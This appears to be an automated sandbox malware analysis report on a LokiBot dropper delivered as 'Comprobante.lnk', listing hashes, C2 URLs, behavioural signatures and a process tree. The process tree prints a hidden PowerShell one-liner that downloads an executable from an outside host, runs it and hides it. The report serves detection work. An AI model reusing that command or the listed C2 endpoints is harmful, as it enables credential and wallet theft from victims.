Analysis

  • max time kernel
    127s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2024 07:14

General

  • Target

    Comprobante.lnk

  • Size

    2KB

  • MD5

    b234c46d1f63b18ad2dc3f824bc0d6fa

  • SHA1

    fbdcce6b33b9e0ffbba48aadca0db9059af37141

  • SHA256

    8cd7bd86c1cc1be6d0c553fc3e8e02232b70363fadc3212989b1599a70c668d3

  • SHA512

    883b59b949966ac9a4b04f51a5298f842b94c80423dec3dd35105c4c61724cde142b7a781a8fab9da32c6748e4d205af7c74f1acd09388f5d19600ac8da97883

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif

Extracted

Family

lokibot

C2

http://freighteighttwocam.ddns.net/mdifygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Comprobante.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','mjtjewi.exe');./'mjtjewi.exe';(get-item 'mjtjewi.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2888
      • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
        "C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2828
        • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2240
        • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
          4⤵
          • Executes dropped EXE
          PID:2188
        • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
          4⤵
          • Executes dropped EXE
          PID:1688

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe

    Filesize

    363KB

    MD5

    db94d5df4add0a06f261eae73c2da5db

    SHA1

    a37ffecd4004127c3ee2e4ed8f2e5d507c418dc1

    SHA256

    8cf4cc35e623a326f1b5fe4892f5d5e44272925f33b7439e675edfc81ba2af70

    SHA512

    8fc3f52d241cd06db33bcc6fb85564a4fd3ee171e154162b2fb5b1c8e63216cd0f470ebe9ddc1d5e093b4713e1e93df33d696eed0258d89e3a33b68d47b3cc67

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1506706701-1246725540-2219210854-1000\0f5007522459c86e95ffcc62f32308f1_62dc4f69-4699-4b35-9f5c-cc69254f52a3

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1506706701-1246725540-2219210854-1000\0f5007522459c86e95ffcc62f32308f1_62dc4f69-4699-4b35-9f5c-cc69254f52a3

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • memory/2240-98-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2240-89-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2240-63-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2240-60-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2828-54-0x00000000000F0000-0x0000000000154000-memory.dmp

    Filesize

    400KB

  • memory/2828-56-0x0000000000470000-0x0000000000476000-memory.dmp

    Filesize

    24KB

  • memory/2828-58-0x00000000004A0000-0x00000000004A6000-memory.dmp

    Filesize

    24KB

  • memory/2828-57-0x0000000001EB0000-0x0000000001F16000-memory.dmp

    Filesize

    408KB

  • memory/2888-55-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-46-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-38-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp

    Filesize

    4KB

  • memory/2888-45-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-44-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-43-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-42-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-41-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-40-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

    Filesize

    32KB

  • memory/2888-39-0x000000001B610000-0x000000001B8F2000-memory.dmp

    Filesize

    2.9MB